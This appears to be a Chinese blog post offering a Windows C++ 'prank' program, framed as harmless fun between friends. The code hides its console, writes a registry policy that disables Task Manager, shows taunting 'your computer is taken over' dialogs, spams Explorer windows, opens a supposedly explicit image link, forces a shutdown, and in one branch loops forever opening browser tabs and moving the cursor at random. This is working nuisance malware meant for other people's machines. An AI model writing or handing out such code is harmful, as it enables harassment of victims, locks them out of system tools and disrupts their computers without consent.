整人小软件

一个普普通通的c++小软件整人非常好用有助于增加朋友之间的感情

#include<iostream>
#include<ctime> 
#include <Windows.h>
#include <stdio.h>
using namespace std;

int main(){
    ShowWindow(GetConsoleWindow(),SW_HIDE);
    HKEY hkey;
    DWORD value = 1;
    RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &hkey);
    RegSetValueEx(hkey, "DisableTaskMgr", NULL, REG_DWORD, (LPBYTE)&value, sizeof(DWORD));
    RegCloseKey(hkey);  
    int x=GetSystemMetrics(SM_CXSCREEN);
    int y=GetSystemMetrics(SM_CYSCREEN);
    srand(time(0));
    while(true){
        if(MessageBox(NULL,("你的电脑已被我占领！是否执行我接下来的命令?!"),("警告!"),MB_ICONERROR|MB_YESNOCANCEL) == IDYES ){
            MessageBox(NULL,("OK啊！"),("警告!"),MB_ICONERROR|MB_OK);
            break; 
        }else{
            MessageBox(NULL,("你太拽了！！！"),("警告!"),MB_ICONERROR|MB_OK);
        }
    }
    while(true){
        if(MessageBox(NULL,("你是2B吗？？？(不是no你完了！！！电脑不保！！！)"),("警告!!!!!!!!!!!!"),MB_ICONERROR|MB_YESNO) == IDYES){
            MessageBox(NULL,("算你识相！"),("警告!"),MB_ICONERROR|MB_OK);
            break;
        }else{
            MessageBox(NULL,("拽啥？？？！！！"),("警告!"),MB_ICONERROR|MB_OK); 
            for(int i=1;i<=5;i++){
                keybd_event(VK_LWIN, 0, 0, 0);
                keybd_event('E', 0, 0, 0);
                keybd_event('E', 0, 2, 0);
                keybd_event(VK_LWIN, 0, 2, 0);
            }
        } 
    }
    while(true){
        if(MessageBox(NULL,("打开se图!!!!!"),("警告!!!!!!!!!!!!"),MB_ICONERROR|MB_YESNO) == IDYES){
            for(int i=1;i<=10;i++){
                system("start https://cdn.cdnjson.com/tvax3.sinaimg.cn//large/0072Vf1pgy1fodqig7h5nj318g0p0qv5.jpg");
            }
            MessageBox(NULL,("哎呦喂，我当个好人吧！"),("警告!"),MB_ICONERROR|MB_OK);
            MessageBox(NULL,("你的电脑将在10秒后关机！！！"),("警告!"),MB_ICONERROR|MB_OK);
            system("Shutdown -s");
            break;
        }else{
            MessageBox(NULL,("拽啥？？？！！！你有啥好拽的？？！！"),("警告!"),MB_ICONERROR|MB_OK); 
            for(;;){
                system("start https://image.baidu.com/search/detail?ct=503316480&z=0&ipn=d&word=%E4%BD%A0%E4%B8%AA%E5%82%BB%E9%80%BC%E5%8A%A8%E5%9B%BE&step_word=&hs=0&pn=12&spn=0&di=7207123747399008257&pi=0&rn=1&tn=baiduimagedetail&is=0%2C0&istype=0&ie=utf-8&oe=utf-8&in=&cl=2&lm=-1&st=undefined&cs=4009075706%2C4148560869&os=2907528173%2C2931715606&simid=4245084601%2C553471996&adpicid=0&lpn=0&ln=715&fr=&fmq=1681622278859_R&fm=&ic=undefined&s=undefined&hd=undefined&latest=undefined&copyright=undefined&se=&sme=&tab=0&width=undefined&height=undefined&face=undefined&ist=&jit=&cg=&bdtype=0&oriquery=&objurl=https%3A%2F%2Fwx1.sinaimg.cn%2Flarge%2Fceeb653ely1g9s21msrweg207e08ogy8.gif&fromurl=ippr_z2C%24qAzdH3FAzdH3Fooo_z%26e3Buwktw5qtg2_z%26e3Bv54AzdH3Fktw5qtg2AzdH3F1jpwtsAzdH3Ft1AzdH3Fm9a0m8_z%26e3Bip4s&gsm=1e&rpstart=0&rpnum=0&islist=&querylist=&nojc=undefined&dyTabStr=MCwzLDEsNiw0LDUsNyw4LDIsOQ%3D%3D");
                system("start https://image.baidu.com/search/detail?ct=503316480&z=0&ipn=d&word=%E4%BD%A0%E5%A4%A7%E7%88%B7&hs=0&pn=3&spn=0&di=7207123747399008257&pi=0&rn=1&tn=baiduimagedetail&is=0%2C0&ie=utf-8&oe=utf-8&cl=2&lm=-1&cs=4088981616%2C1983275855&os=3501774394%2C804798238&simid=4088981616%2C1983275855&adpicid=0&lpn=0&ln=30&fr=ala&fm=&sme=&cg=&bdtype=0&oriquery=%E4%BD%A0%E5%A4%A7%E7%88%B7&objurl=https%3A%2F%2Fgimg2.baidu.com%2Fimage_search%2Fsrc%3Dhttp%3A%2F%2Fci.xiaohongshu.com%2Fbee50ed5-1a55-48e5-c80a-1990f7693873%3FimageView2%2F2%2Fw%2F1080%2Fformat%2Fjpg%26refer%3Dhttp%3A%2F%2Fci.xiaohongshu.com%26app%3D2002%26size%3Df9999%2C10000%26q%3Da80%26n%3D0%26g%3D0n%26fmt%3Dauto%3Fsec%3D1684214186%26t%3Dbf18c413bd420091f8868bf57a856014&fromurl=ippr_z2C%24qAzdH3FAzdH3Fooo_z%26e3Bxtw5i5g2fi7_z%26e3Bv54AzdH3F1tfv5ej6yAzdH3Ftpj4AzdH3Fmdnna9buaaaaaaaad8anw8bl&gsm=&islist=&querylist=&dyTabStr=MCwyLDMsNSw0LDEsNiw3LDgsOQ%3D%3D");
                SetCursorPos(rand()%x,rand()%y);
            }
        } 
    }
    return 0;
}